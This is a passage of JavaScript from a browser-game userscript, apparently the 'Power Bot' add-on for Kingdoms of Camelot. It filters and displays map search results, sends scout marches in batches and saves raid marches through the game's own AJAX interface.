      }, false);
      }
    document.getElementById('pafilSortBy').addEventListener ('change', function (){
      Options.srcSortBy = document.getElementById('pafilSortBy').value;
      saveOptions();
      t.dispMapTable ();
      }, false);
    document.getElementById('pacoordsOnly').addEventListener ('change', function (){ t.dispMapTable (); }, false);
    if (t.opt.searchType == 1){
      document.getElementById('pafilWildType').addEventListener ('change', function (){
        Options.wildType = document.getElementById('pafilWildType').value;
        saveOptions();
        t.dispMapTable ();
        }, false);
      document.getElementById('pafilUnowned').addEventListener ('change', function (){
        Options.unownedOnly = (document.getElementById('pafilUnowned').checked);
        saveOptions();
        t.dispMapTable ();
        }, false);
    }
    if (t.opt.searchType == 2){
        document.getElementById('pafilMisted').addEventListener ('change', function (){
        Options.mistedOnly = (document.getElementById('pafilMisted').checked);
        if(!Options.mistedOnly){
            document.getElementById('pafilAll').checked = false;
            Options.srcAll = Options.mistedOnly;
        }
        saveOptions();
        t.dispMapTable ();
        }, false);
        document.getElementById('pafilHostile').addEventListener ('change', function (){
        Options.hostileOnly = (document.getElementById('pafilHostile').checked);
        if(!Options.hostileOnly){
            document.getElementById('pafilAll').checked = false;
            Options.srcAll = Options.hostileOnly;
        }
        saveOptions();
        t.dispMapTable ();
        }, false);
        document.getElementById('pafilFriendly').addEventListener ('change', function (){
        Options.friendlyOnly = (document.getElementById('pafilFriendly').checked);
        if(!Options.friendlyOnly){
            document.getElementById('pafilAll').checked = false;
            Options.srcAll = Options.friendlyOnly;
        }
        saveOptions();
        t.dispMapTable ();
        }, false);
        document.getElementById('pafilAllied').addEventListener ('change', function (){
        Options.alliedOnly = (document.getElementById('pafilAllied').checked);
        if(!Options.alliedOnly){
            document.getElementById('pafilAll').checked = false;
            Options.srcAll = Options.alliedOnly;
        }
        saveOptions();
        t.dispMapTable ();
        }, false);
        document.getElementById('pafilNeutral').addEventListener ('change', function (){
        Options.neutralOnly = (document.getElementById('pafilNeutral').checked);
        if(!Options.neutralOnly){
            document.getElementById('pafilAll').checked = false;
            Options.srcAll = Options.neutralOnly;
        }
        saveOptions();
        t.dispMapTable ();
        }, false);
        document.getElementById('pafilunAllied').addEventListener ('change', function (){
        Options.unalliedOnly = (document.getElementById('pafilunAllied').checked);
        if(!Options.unalliedOnly){
            document.getElementById('pafilAll').checked = false;
            Options.srcAll = Options.unalliedOnly;
        }
        saveOptions();
        t.dispMapTable ();
        }, false);
        document.getElementById('pafilAll').addEventListener ('change', function (){
        Options.srcAll = (document.getElementById('pafilAll').checked);
        for(i in document.getElementsByName('pbfil'))
            document.getElementsByName('pbfil')[i].checked = Options.srcAll;
        Options.mistedOnly=Options.hostileOnly=Options.friendlyOnly=Options.alliedOnly=Options.neutralOnly=Options.unalliedOnly=Options.srcAll;
        saveOptions();
        t.dispMapTable ();
        }, false);
        document.getElementById('paminmight').addEventListener ('change', function (){
        Options.minmight = parseIntNan(document.getElementById('paminmight').value);
        saveOptions();
        t.dispMapTable ();
        }, false);
            document.getElementById('pamaxmight').addEventListener ('change', function (){
        Options.maxmight = parseIntNan(this.value);
        saveOptions();
        t.dispMapTable ();
        }, false);
            document.getElementById('pabotra').addEventListener ('change', function (){
        Options.botrank = this.value;
        saveOptions();
        FetchTopAlliances(Options.toprank,Options.botrank,function (e) {
         t.IgAlly = e;
         t.dispMapTable();
         });
        }, false);
            document.getElementById('patopra').addEventListener ('change', function (){
        Options.toprank = this.value;
        saveOptions();
        FetchTopAlliances(Options.toprank,Options.botrank,function (e) {
         t.IgAlly = e;
         t.dispMapTable();
         });
        }, false);
        document.getElementById('pashowall').addEventListener ('change', function (){
			Options.showalliance = this.value;
			saveOptions();
			t.dispMapTable ();
        }, false);
    
    }
    
    document.getElementById('pbAhideShow').addEventListener ('click', t.hideShowClicked, false);
    
    t.mapDat = [];
    t.firstX =  t.opt.startX - t.opt.maxDistance;
    t.lastX = t.opt.startX + t.opt.maxDistance;
    t.firstY =  t.opt.startY - t.opt.maxDistance;
    t.lastY = t.opt.startY + t.opt.maxDistance;
    t.tilesSearched = 0;
    t.tilesFound = 0;
    t.curX = t.firstX;
    t.curY = t.firstY;
    var xxx = t.MapAjax.normalize(t.curX);
    var yyy = t.MapAjax.normalize(t.curY);
    document.getElementById ('pastatStatus').innerHTML = translate('Searching at ')+ xxx +','+ yyy;
    t.MapAjax.request (xxx, yyy, t.opt.searchDistance, t.eventgetplayeronline);
  },

  hideShowClicked : function (){
    var div = document.getElementById('padivOutOpts');
    if (div.style.display == 'none'){
      div.style.display = 'block';
      document.getElementById('spanHideShow').innerHTML = translate('H I D E');
    } else {
      div.style.display = 'none';
      document.getElementById('spanHideShow').innerHTML = translate('S H O W');
    }
  },
  
  dispMapTable : function (){
    var tileNames = ['Barb Camp', 'Grassland', 'Lake', 'Woodlands', 'Hills', 'Mountain', 'Plain', null, 'Dark Forest', 'Ruin', 'Merc', 'Bog' ];
    var t = Tabs.Search;
    var coordsOnly = document.getElementById('pacoordsOnly').checked;
    if (DEBUG_SEARCH) DebugTimer.start();
     function mySort(a, b){
      if (Options.srcSortBy == 'level'){
        if ((x = a[4] - b[4]) != 0)
          return x;
      }
      if (Options.srcSortBy == 'might'){
        if ((x = b[10] - a[10]) != 0)
          return x;
      }
      return a[2] - b[2];
    }
    
    t.dat = [];
    for (i=0; i<t.mapDat.length; i++){  
      lvl = parseInt (t.mapDat[i][4]);
      type = t.mapDat[i][3];
      if (t.opt.searchType==2 && type==7 ) {
        if((t.mapDat[i][10] >= Options.minmight && (t.mapDat[i][10] <= Options.maxmight || Options.maxmight==0)) || t.mapDat[i][5])
        if(t.mapDat[i][14] == false || t.IgAlly.indexOf(Number(t.mapDat[i][14])) == -1)
        if(t.mapDat[i][14] == false || Options.showalliance == "" || Options.showalliance.toUpperCase() == t.mapDat[i][11].toUpperCase() || t.mapDat[i][5])
        if((Options.hostileOnly && t.mapDat[i][12] == 'h') ||
           (Options.mistedOnly && t.mapDat[i][5]===true) ||
           (Options.friendlyOnly && t.mapDat[i][12] == 'f') ||
           (Options.alliedOnly && t.mapDat[i][12] == 'a') ||
           (Options.neutralOnly && t.mapDat[i][12] == 'n') ||
           (Options.unalliedOnly && t.mapDat[i][12] == 'u') ||
           (Options.srcAll))
               t.dat.push(t.mapDat[i]);
      } else {
       if (lvl>=Options.srcMinLevel && lvl<=Options.srcMaxLevel){
        if (t.opt.searchType==0 || Options.wildType==0
        ||  (Options.wildType==1 && (type==1 || type==2))
        ||  (Options.wildType == type)){
          if (!Options.unownedOnly || t.mapDat[i][5]===false)
           t.dat.push (t.mapDat[i]);
        }
       }
      }
    }
    if (DEBUG_SEARCH) DebugTimer.display('SEACHdraw: FILTER');

    document.getElementById('pastatFound').innerHTML = translate('Found')+': '+t.dat.length;
    if (t.dat.length == 0){
      m = '<BR><CENTER>'+translate("None found")+'</center>';
    } else {
      t.dat.sort(mySort);
      if (DEBUG_SEARCH) DebugTimer.display('SEACHdraw: SORT');
      if (coordsOnly)
        m = '<TABLE align=center id=pasrcOutTab cellpadding=0 cellspacing=0><TR style="font-weight: bold"><TD>'+translate("Location")+'</td></tr>';
      else {
      if (t.opt.searchType == 2) {
             m = '<TABLE id=pasrcOutTab class=pbSrchResults cellpadding=0 cellspacing=0><TR style="font-weight: bold"><TD>'+translate("Loc")+'</td><TD align=right>'+translate("Dist")+'</td><TD>'+translate("Player")+'</td><TD align=right>'+translate("Might")+'</td><TD>'+translate("Alliance")+'</td><TD>'+translate("Online")+'</td><TD></td></tr>';
        } else {
            m = '<TABLE id=pasrcOutTab cellpadding=0 cellspacing=0><TR style="font-weight: bold"><TD>'+translate("Location")+'</td><TD style="padding-left: 10px">'+translate("Distance")+'</td><TD style="padding-left: 10px;">'+translate("Lvl")+'</td><TD width=100px> &nbsp; '+translate("Type")+'</td><TD></td><TD>'+translate("Export to Raid")+'</td></tr>';
        }
    }
      var numRows = t.dat.length;
      if (numRows > t.MAX_SHOW_WHILE_RUNNING && t.searchRunning){
        numRows = t.MAX_SHOW_WHILE_RUNNING;
        document.getElementById('pasrchSizeWarn').innerHTML = '<FONT COLOR=#600000>'+translate('NOTE: Table only shows ')+ t.MAX_SHOW_WHILE_RUNNING +' of '+ t.dat.length +translate(' results until search is complete')+'.</font>';
      }
      for (i=0; i<numRows; i++){
        m += '<TR><TD><DIV onclick="pbGotoMap('+ t.dat[i][0] +','+ t.dat[i][1] +')"><A>'+ t.dat[i][0] +','+ t.dat[i][1] +'</a></div></td>';
        if (coordsOnly) {
          m += '</tr>';
        } else {
          if (t.opt.searchType == 2) { // city search
            m += '<TD align="right" >'+ t.dat[i][2].toFixed(2) +'</td>';
            if ( t.dat[i][5] && t.dat[i][7] == 0) {
			  if (t.dat[i][9] == "") {
				m += '<TD colspan=4 id=pbsrch'+t.dat[i][0]+t.dat[i][1]+'>* '+translate("MISTED")+' * &nbsp; &nbsp; <SPAN onclick="quickscoutsearch('+ t.dat[i][0] +','+ t.dat[i][1] +','+t.selectedCity.id+');return false;"><A>'+translate("QuickScout")+'</a></span></td></tr>';
			  }	
			  else
				m += '<TD colspan=4 id=pbsrch'+t.dat[i][0]+t.dat[i][1]+'>'+t.dat[i][9]+'</td></tr>';
			  
			}  
            else{
              var linestyle = '';
			  if (t.dat[i][5]) linestyle = 'color:#888;';
              var allStyle = '';
              if ( t.dat[i][12]=='f')
                allStyle = 'class=pbTextFriendly';
              else if ( t.dat[i][12]=='h')
                allStyle = 'class=pbTextHostile';
              m += '<TD style="'+linestyle+'">'+ t.dat[i][9]+'</td><TD align=right style="'+linestyle+'">'+ t.dat[i][10] +'</td><TD style="'+linestyle+'"><SPAN '+ allStyle +'>'+ t.dat[i][11]+'</span></td><TD>'+( t.dat[i][13]?'<SPAN class=boldDarkRed>'+translate("ONLINE")+'</span>':'')+'</td><TD><A onclick="pbSearchLookup('+ t.dat[i][7] +')">'+translate("Lookup")+'</a></td></tr>';
            }
            } else {
          m += '<TD align=right  valign="top">'+ t.dat[i][2].toFixed(2) +' &nbsp; </td><TD align=right>'+ t.dat[i][4] +'</td><TD> &nbsp; '+ tileNames[ t.dat[i][3]]
            +'</td><TD  valign="top">'+ ( t.dat[i][5]?( t.dat[i][6]!=0?' <A onclick="pbSearchLookup('+ t.dat[i][6]+')">'+translate("OWNED")+'</a>':'<A onclick="pbSearchScout('+ t.dat[i][0] +','+ t.dat[i][1] +');return false;">'+translate("MISTED")+'</a>'):'') +'</td>';
          if (t.opt.searchType == 0) m+= '<TD align=center  valign="top"><A onclick="pbExportToRaid('+ t.dat[i][0]+','+ t.dat[i][1] +')">'+translate("Export")+'</a></td>';
          m+='</tr>';
            }
        }
            
       }
      m += '</table>';
    }
    document.getElementById('padivOutTab').innerHTML = m;
    if (DEBUG_SEARCH) DebugTimer.display('SEACHdraw: DRAW');
  },

  mapDat : [],

  stopSearch : function (msg){
    var t = Tabs.Search;
    document.getElementById ('pastatStatus').innerHTML = '<FONT color=#ffaaaa>'+ msg +'</font>';
    document.getElementById ('pasrcStart').value = translate('Start Search');
    document.getElementById ('pasrchSizeWarn').innerHTML = '';
    if (t.opt.searchType==0 && document.getElementById('KOCAttackToggle')!=null){    
      document.getElementById ('pbSrcExp').innerHTML = '<CENTER>'+ strButton20(translate('Export Results'), 'id=pbSrcDoExp') +'</center>';
      document.getElementById ('pbSrcDoExp').addEventListener ('click', t.exportKOCattack, false);
    }
    if (t.opt.searchType==2||t.opt.searchType==1){
      document.getElementById ('pbSrcExp').innerHTML = '<CENTER>'+ strButton20(translate('Generate Scout List'), 'id=pbSrcDoScout') +'</center>';
      document.getElementById ('pbSrcDoScout').addEventListener ('click', t.generateScoutList, false);
    }
    t.searchRunning = false;
    t.dispMapTable();
  },

  exportKOCattack : function (){
    var t = Tabs.Search;
    var bulkAdds = {};
    for (i=1; i<11; i++)
      bulkAdds['lvl'+ i] = [];
    for (i=0; i<t.mapDat.length; i++){
      var lvl = parseInt (t.mapDat[i][4]);
      if (lvl>=Options.srcMinLevel && lvl<=Options.srcMaxLevel && t.mapDat[i][3]==0)
        bulkAdds['lvl'+ lvl].push({x:t.mapDat[i][0], y:t.mapDat[i][1]});
    }
    exportToKOCattack.doExport (bulkAdds, t.selectedCity);
  },
  
  generateScoutList : function (){
    var t = Tabs.Search;
    var bulkScout = [];
    for (i=0; i<t.mapDat.length; i++){
   if(t.opt.searchType==1)
      if (t.mapDat[i][3] == Options.wildType || Options.wildType==0)
      if (t.mapDat[i][4]>=Options.srcMinLevel && t.mapDat[i][4]<=Options.srcMaxLevel)
      if ((Options.unownedOnly && t.mapDat[i][5] == false) || (!Options.unownedOnly))
            bulkScout.push({x:t.mapDat[i][0], y:t.mapDat[i][1], dist:t.mapDat[i][2]});
     if(t.opt.searchType==2)
      if (t.mapDat[i][3] == 7){
        if((t.mapDat[i][10] >= Options.minmight && (t.mapDat[i][10] <= Options.maxmight || Options.maxmight==0)) || t.mapDat[i][5]){
        if(t.mapDat[i][14] == false || t.IgAlly.indexOf(Number(t.mapDat[i][14])) == -1)
        if(t.mapDat[i][14] == false || Options.showalliance == "" || Options.showalliance.toUpperCase() == t.mapDat[i][11].toUpperCase() || t.mapDat[i][5])
        if((Options.hostileOnly && t.mapDat[i][12] == 'h') ||
           (Options.mistedOnly && t.mapDat[i][5]===true) ||
           (Options.friendlyOnly && t.mapDat[i][12] == 'f') ||
           (Options.alliedOnly && t.mapDat[i][12] == 'a') ||
           (Options.neutralOnly && t.mapDat[i][12] == 'n') ||
           (Options.unalliedOnly && t.mapDat[i][12] == 'u') ||
           (Options.srcAll))
            bulkScout.push({x:t.mapDat[i][0], y:t.mapDat[i][1], dist:t.mapDat[i][2]});
        }
      }
    }
    if(t.selectedCity == null)
        t.selectedCity = Cities.cities[0];
    t.ShowScoutList (bulkScout, t.selectedCity);
  },
  ShowScoutList : function (coordlist, city){
    var t = Tabs.Search;
    var popScout = null;
    t.scoutcity = city;
    
    if(popScout==null){
      popScout = new pbPopup ('pbsrcscout', 0,0, 350,500, true, function (){popScout.destroy(); popScout=null;});
      popScout.centerMe (mainPop.getMainDiv());  
    }
    var m = '<DIV class=pbStat>'+translate("Auto Scout Options")+'</div>';
        m += '<DIV>'+translate("Amount of Scouts to send")+': <input id=pbsrcScoutAmt value="'+Options.srcScoutAmt+'" /></div><BR>';
        m += '<DIV>'+translate("Select City")+': <span id=pbsrcScoutcitypick> </span></div><BR>';
        m += '<DIV class=pbStat>'+translate("Scout from")+' <span id=pbsrcScoutcity>'+city.name+'</span> <BR> '+translate("Total targets ")+coordlist.length+'</div>';
        m += '<DIV style="max-height:220px; overflow-y:auto;"><TABLE align=center cellpadding=0 cellspacing=0 class=pbTabPadNW><TR style="font-weight:bold; background-color:white"><TD width=15><input type=checkbox id=pbsrcScout_All /></td><TD>'+translate("Target Coords")+'</td></tr>';
      for(i=0; i<coordlist.length; i++){
            m += '<TR style="background-color:white"><TD><input type=checkbox name=pbsrcScoutCheck id="pbsrcScoutCheck_'+coordlist[i].x+'_'+coordlist[i].y+'" value="'+coordlist[i].x+'_'+coordlist[i].y+'" '+(coordlist[i].chk?'CHECKED':'')+'/></td><TD>'+coordLink(coordlist[i].x,coordlist[i].y)+'</td></tr>';
      }
        m += '</table></div>';
        m += '<BR><input type=checkbox id="pbskip">Skip targets when errors occur';
        m += '<BR><input type=checkbox id="pbsallcities">Scout from all cities (NOT UNDER AP!)';
        m += '<BR><CENTER>'+ strButton20(translate('Start Scout'), 'id=pbSrcStartScout') +'</center>';
        m += '<CENTER><DIV style="width:70%; max-height:75px; overflow-y:auto;" id=pbSrcScoutResult></DIV></center>';
    popScout.getMainDiv().innerHTML = m;
    new CdispCityPicker ('pbScoutPick', document.getElementById('pbsrcScoutcitypick'), false, function(c,x,y){document.getElementById('pbsrcScoutcity').innerHTML = c.name; t.scoutcity = c; }, city.idx);
    popScout.getTopDiv().innerHTML = '<CENTER><B>Power Bot '+translate("Scout List")+'</b></center>';
    popScout.show(true);
    
    document.getElementById('pbsrcScoutAmt').addEventListener('change', function(){
        Options.srcScoutAmt = parseInt(document.getElementById('pbsrcScoutAmt').value);
        saveOptions();
    }, false);
    document.getElementById('pbsrcScout_All').addEventListener('change', function(){
        for(k in document.getElementsByName('pbsrcScoutCheck'))
            document.getElementsByName('pbsrcScoutCheck')[k].checked = document.getElementById('pbsrcScout_All').checked;
    }, false);
    document.getElementById('pbSrcStartScout').addEventListener('click', t.clickedStartScout, false);
  },
  scouting : false,
  scoutcity : null,
  doScout : function(list, city){
    var t = Tabs.Search;
    document.getElementById('pbSrcScoutResult').innerHTML = '';
    if(list.length < 1){
        document.getElementById('pbSrcScoutResult').innerHTML = '<SPAN class=boldRed>'+translate("ERROR")+': '+translate("No coords selected")+'</span>';
        t.clickedStartScout();
        return;
    }
    if(parseInt(Seed.units['city'+city.id]['unt'+3]) < Options.srcScoutAmt){
        document.getElementById('pbSrcScoutResult').innerHTML = '<SPAN class=boldRed>'+translate("ERROR")+': '+translate("No scouts available")+'</span>';
        t.clickedStartScout();
        return;
    }
    t.doScoutCount(list, city, list.length, 0);
    
  },
  doScoutCount : function(list, city, total, count){
  	logit('city is '+city.idx);
    var t = Tabs.Search;
    if(!t.scouting){
        document.getElementById('pbSrcScoutResult').innerHTML += '<SPAN class=boldRed>'+translate("Scouting stopped by user")+'</span><BR>';
        document.getElementById('pbSrcStartScout').className = 'button20 ptButton20';
        document.getElementById('pbSrcStartScout').innerHTML = '<SPAN>'+translate("Start Scout")+'</span>';
        return;
    }
    if(total <= (count)){
        document.getElementById('pbSrcScoutResult').innerHTML += translate("Done")+'!<BR>';
        t.clickedStartScout();
        return;
    }
    logit('first '+Number(March.getTotalSlots(city.id))+' second: '+Number(March.getMarchSlots(city.id)));
     if (Number(Number(March.getTotalSlots(city.id))-Number(March.getMarchSlots(city.id))) <= 0){
     	if(document.getElementById('pbsallcities').checked) { 
			var oldcityidx = Number(city.idx);
			do {
     		var newcity = Number(city.idx)+1;
     		if(newcity > Number(Cities.numCities)-1) newcity = 0;
     		city = Cities.cities[newcity];
			}	
			while (unsafeWindow.cm.PrestigeCityPlayerProtectionController.isActive(city.id) && (city.idx != oldcityidx))
     	};
        setTimeout(function(){t.doScoutCount(list, city, total, count)}, 5000);
        document.getElementById('pbSrcScoutResult').innerHTML += translate('Waiting for rally point to clear')+'...';
        return;
    }
    var coords = list[count].split("_");
    if(coords[0] == 'undefined' || coords[1] == 'undefined'){
        document.getElementById('pbSrcScoutResult').innerHTML += '<SPAN class=boldRed>'+translate("ERROR")+': '+translate("Invalid coords")+'</span>';
        t.clickedStartScout();
        return;
    }
    document.getElementById('pbSrcScoutResult').innerHTML += translate('Sending scouts to ')+coords[0]+','+coords[1]+'...';
    document.getElementById('pbsrcScoutCheck_'+coords[0]+'_'+coords[1]).checked = false;
    t.sendScout(coords[0], coords[1], city, count, function(c){t.doScoutCount(list, city, total, c)});
  },
  sendScout : function(x, y, city, count, notify){
    var t = Tabs.Search;
    count = parseInt(count);
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.cid = city.id;
    params.kid = 0;
    params.type = 3;
    params.xcoord = x;
    params.ycoord = y;
    params.u3 = Options.srcScoutAmt;
  	params.gold = 0;
  	params.r1 = 0;
  	params.r2 = 0;
  	params.r3 = 0;
  	params.r4 = 0;
  	params.r5 = 0;
	
	March.addMarch(params, function(rslt){
		if (rslt.ok) {
			document.getElementById('pbSrcScoutResult').innerHTML += translate('Sent!')+'<BR>';
			if (notify)
				setTimeout(function(){ notify(count+1); }, 4000);
		}
		else {
			if(document.getElementById('pbskip').checked) {
				document.getElementById('pbSrcScoutResult').innerHTML += translate('Failed! Moving on')+'....<BR>';
				if (notify)
					setTimeout(function(){ notify(count+1); }, 4000);
			} else {
				if(rslt.error_code == 208) {
					document.getElementById('pbSrcScoutResult').innerHTML += translate('Truced! Moving on')+'....<BR>';
					if (notify)
						setTimeout(function(){ notify(count+1); }, 4000);
				}
				else {
					document.getElementById('pbSrcScoutResult').innerHTML += translate('Failed! Retrying')+'....<BR>';
					if (notify)
						setTimeout(function(){ notify(count); }, 4000);
				}		
			}
		}
	});
  },
  getRallypoint: function(cityId){
      var t = Tabs.Search;
      cityId = 'city'+cityId;
      for (o in Seed.buildings[cityId]){
        var buildingType = parseInt(Seed.buildings[cityId][o][0]);
        var buildingLevel = parseInt(Seed.buildings[cityId][o][1]);
        if (buildingType == 12){
            return parseInt(buildingLevel);
            break;
        }
       }
      return 0;
    },
    clickedStartScout : function(){
    var t = Tabs.Search;
        if(t.scouting == false){
            t.scouting = true;
            var ScoutList = [];
            for(k=0; k<document.getElementsByName('pbsrcScoutCheck').length; k++){
                if(document.getElementsByName('pbsrcScoutCheck')[k].checked){
                    ScoutList.push(document.getElementsByName('pbsrcScoutCheck')[k].value);
                }
            }
            t.doScout(ScoutList, t.scoutcity);
            document.getElementById('pbSrcStartScout').className = 'button20 pbButCancel';
            document.getElementById('pbSrcStartScout').innerHTML = '<SPAN>'+translate("Stop")+'</span>';
        } else {
            t.scouting = false;
            document.getElementById('pbSrcStartScout').className = 'button20 ptButton20';
            document.getElementById('pbSrcStartScout').innerHTML = '<SPAN>'+translate("Start Scout")+'</span>';
        }
    },
    
  
/** mapdata.userInfo:
(object) u4127810 = [object Object]
    (string) n = George2gh02    (name)
    (string) t = 1              (title code)
    (string) m = 55             (might)
    (string) s = M              (sex)
    (string) w = 2              (mode: 1=normal, 2=begprotect, 3=truce, 4=vacation )
    (string) a = 0              (alliance)
    (string) i = 1              (avatar code)
*****/
  mapCallback : function (uList){
    var t = Tabs.Search;

    var rslt = t.SearchList;
    map = rslt.data;
    var Dip = Seed.allianceDiplomacies;    
    var userInfo = rslt.userInfo;
    var alliance = rslt.allianceNames;
    
    for (k in map){
      if (t.opt.searchType==0 && map[k].tileType==51 && (!map[k].tileCityId || (map[k].tileCityId==0))) {  // if barb
        type = 0;
      } else if (t.opt.searchType==1 && map[k].tileType>=10 &&  map[k].tileType<=50) { // if wild
        if (map[k].tileType == 10)
          type = 1;
        else if (map[k].tileType == 11)
          type = 2;
        else
          type = (map[k].tileType/10) + 1;
      } else if (t.opt.searchType==1 && map[k].tileType==54) {
            type = 8;
      } else if (t.opt.searchType==1 && map[k].tileType==0) {
            type = 11;
      } else if (t.opt.searchType==1 && map[k].tileType==55) {
            type = 10;
      } else if (t.opt.searchType==1 && map[k].tileType==52) {
            type = 9;
      } else if (t.opt.searchType==2 && map[k].tileCityId>=0 && map[k].tileType>50 && map[k].cityName) {
            type = 7;
      } else
        continue;
        //    var tileNames = ['Barb Camp', 'Grassland', 'Lake', 'Woodlands', 'Hills', 'Mountain', 'Plain', null, 'Dark Forest', 'Ruin', 'Merc', 'Bog' ];
      var dist = distance (t.opt.startX, t.opt.startY, map[k].xCoord, map[k].yCoord);
      if ((t.opt.searchShape=='circle' && dist <= t.opt.maxDistance)
      ||  (t.opt.searchShape=='square' && map[k].xCoord>=t.firstX && map[k].xCoord<=t.lastX && map[k].yCoord>=t.firstY && map[k].yCoord<=t.lastY)){
            if (t.opt.searchType==2) {    // if city search
                var isMisted = map[k].tileUserId == 0 || false;        
                var uu = 'u'+map[k].tileUserId;
                var aD = '';
                  var nameU = '';
                  var mightU = '';
                  var aU = '';
                  var aID = false;
                if (!isMisted && userInfo[uu]) {
                    nameU = userInfo[uu].n;   // can error, must check if (userInfo[uu])
                    mightU = userInfo[uu].m;
                    if (alliance['a'+userInfo[uu].a]) {
                        aU = alliance['a'+userInfo[uu].a];
                        aID = userInfo[uu].a
                    } else {
                      aU = '----';
                      aID = false;
               }
                    aD = '';
                    if (Dip.friendly && Dip.friendly['a'+userInfo[uu].a]) aD = 'f';
                    if (Dip.hostile && Dip.hostile['a'+userInfo[uu].a]) aD = 'h';
                    if (Dip.allianceId && Dip.allianceId==userInfo[uu].a) aD = 'a';
                    if (getDiplomacy(userInfo[uu].a) == 'neutral') aD = 'n';
                    if (!userInfo[uu].a || userInfo[uu].a==0) aD = 'u';
                    
                }
// TODO: save memory, remove city name ?               
          t.mapDat.push ([map[k].xCoord, map[k].yCoord, dist, type, map[k].tileLevel, isMisted, map[k].tileCityId, map[k].tileUserId, map[k].cityName, nameU, mightU, aU, aD, uList.data[map[k].tileUserId]?1:0,aID]);
        } else {
          isOwned = map[k].tileUserId>0 || map[k].misted;
          t.mapDat.push ([map[k].xCoord, map[k].yCoord, dist, type, map[k].tileLevel, isOwned, (map[k].tileUserId>0? map[k].tileUserId : 0), uList.data[map[k].tileUserId]?1:0,aID]);
        }
        ++t.tilesFound;
      }
    }
    
    t.tilesSearched += (t.opt.searchDistance*t.opt.searchDistance);
    document.getElementById('pastatSearched').innerHTML = translate('Searched: ')+ t.tilesSearched;
    t.dispMapTable();

    t.curX += t.opt.searchDistance;
    if (t.curX > t.lastX){
      t.curX = t.firstX;
      t.curY += t.opt.searchDistance;
      if (t.curY > t.lastY){
        t.stopSearch (translate('Done!'));
        return;
      }
    }
    var x = t.MapAjax.normalize(t.curX);
    var y = t.MapAjax.normalize(t.curY);
    document.getElementById ('pastatStatus').innerHTML = 'Searching at '+ x +','+ y;
    setTimeout (function(){t.MapAjax.request (x, y, t.opt.searchDistance, t.eventgetplayeronline)}, MAP_DELAY);
  },
  
  eventgetplayeronline : function (left, top, width, rslt){
    var t = Tabs.Search;
    if (!t.searchRunning)
      return;
    if (!rslt.ok){
    	setTimeout (function(){t.MapAjax.request (left, top, width, t.eventgetplayeronline)}, MAP_DELAY);//we requery if bad ajax request.  could cause flood issues?
     // t.stopSearch (translate('ERROR')+': '+ rslt.errorMsg);
      return;
    }
    
    map = rslt.data;
    t.SearchList = rslt;
    var uList = [];
    for(k in map){
        if(map[k].tileUserId != null)
            uList.push(map[k].tileUserId);
    }
    t.fetchPlayerStatus (uList, function(r){ t.mapCallback(r)});
  },

  clickedScout : function (x, y){
    unsafeWindow.modal_attack (3, x, y);
    CwaitForElement ('modal_attack', 5000, function (){document.getElementById('modalBox1').style.zIndex='112000'});
  },
    
  clickedLookup : function (pid){
    var t = Tabs.Search;
    var pop = new pbPopup ('pbsrclookup', 0,0, 500,500, true);
    if (t.popFirst){
      pop.centerMe (mainPop.getMainDiv());  
      t.popFirst = false;
    }
    pop.getTopDiv().innerHTML = '<CENTER><B>'+translate("Player Lookup")+'</b></center>';
    pop.getMainDiv().innerHTML = '<DIV class=pbStat>'+translate("Leaderboard information")+'</div><SPAN id=pblupLB>'+translate("Looking up leaderboard")+'...</span>\
      <BR><DIV class=pbStat>'+translate("Alliance Lookup")+'</div><SPAN id=pblupAI>'+translate("Looking up alliance info")+'...</span>';
    pop.show (true);
    t.fetchLeaderboard (pid, function (r){t.gotPlayerLeaderboard(r, document.getElementById('pblupLB'))});
    t.fetchPlayerInfo (pid, function (r){t.gotPlayerInfo(r, document.getElementById('pblupAI'))});
  },

  ExportToRaid : function (X,Y){
    var t = Tabs.Search;
    var cityId =t.selectedCity['id'];
    var pop = new pbPopup ('pbExportRaid', 0,0, 800,430, true);
    if (t.popFirst){
      pop.centerMe (mainPop.getMainDiv());  
      t.popFirst = false;
    }
    pop.getTopDiv().innerHTML = '<CENTER><B>'+translate("Export to Raid")+'</b></center>';
    
      var m = '<TABLE id=pbRaidAdd width=100% height=0% class=pbTab><TR align="center">';

	  var rowcounter = 0;
     	for (var ui in unsafeWindow.cm.UNIT_TYPES){
			i = unsafeWindow.cm.UNIT_TYPES[ui];
			
			rowcounter++;
			if (rowcounter > 4) {
				m += '</tr><tr align="center">';
				rowcounter = 1;
			}
			
			m += '<td><table class=pbTab><tr><td rowspan=2><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/units/unit_'+i+'_50.jpg?6545"></td><td>'+ addCommas(Seed.units['city'+cityId]['unt'+i]) +'</td></tr><tr><td><INPUT id=Unit'+i+' type=text size=6 maxlength=6 value="0"></td></tr></table></td>';
		}
      m += '</tr></table>';
      
      m += '<BR><CENTER>' +strButton20(translate('Help'), 'id=pbHelp')+'<SELECT id=RaidKnights type=list></select></center>';
      m+= '<BR><CENTER>'+ strButton20(translate('Raid and save'), 'id=pbRaidSave') +'</center>';
          
    pop.getMainDiv().innerHTML = m;
    
    t.getKnights();
    
    document.getElementById ('pbHelp').addEventListener ('click', t.helpPop, false);
    document.getElementById ('pbRaidSave').addEventListener ('click', function(){
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
                          
        params.pf = 0;
        params.ctrl = 'BotManager';
        params.action = 'saveMarch';
        params.settings = {};
        params.settings.cityId = cityId;
        params.queue = {0:{botMarches:{botMarchStatus:1,botState:1},cityMarches:{}}};        
        params.queue[0].cityMarches.knightId = parseInt(document.getElementById ('RaidKnights').value);
        params.queue[0].cityMarches.toXCoord = X;
        params.queue[0].cityMarches.toYCoord = Y;
        params.queue[0].cityMarches.unit0Count = 0;
     	for (var ui in unsafeWindow.cm.UNIT_TYPES){
			i = unsafeWindow.cm.UNIT_TYPES[ui];
			params.queue[0]['cityMarches']['unit'+i+'Count'] = parseIntNan(document.getElementById ('Unit'+i).value);
		}	
        
         new AjaxRequest2(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
                      method: "post",
                     parameters: params,
                     loading: true,
                     onSuccess: function(transport){
                        var rslt = eval("(" + transport.responseText + ")");
                          if (rslt.ok) {
                                  pop.show (false);
                                unsafeWindow.cityinfo_army();
                              setTimeout(unsafeWindow.update_seed_ajax, 250);
                         } else ('Error :' + rslt.msg);
                         
                     },
             });
        }, false);
    
    pop.show (true);
  },
  getKnights : function(){
         var t = Tabs.Search;
         var knt = new Array();
         cityId = t.selectedCity['id'];
         for (k in Seed.knights['city' + cityId]){
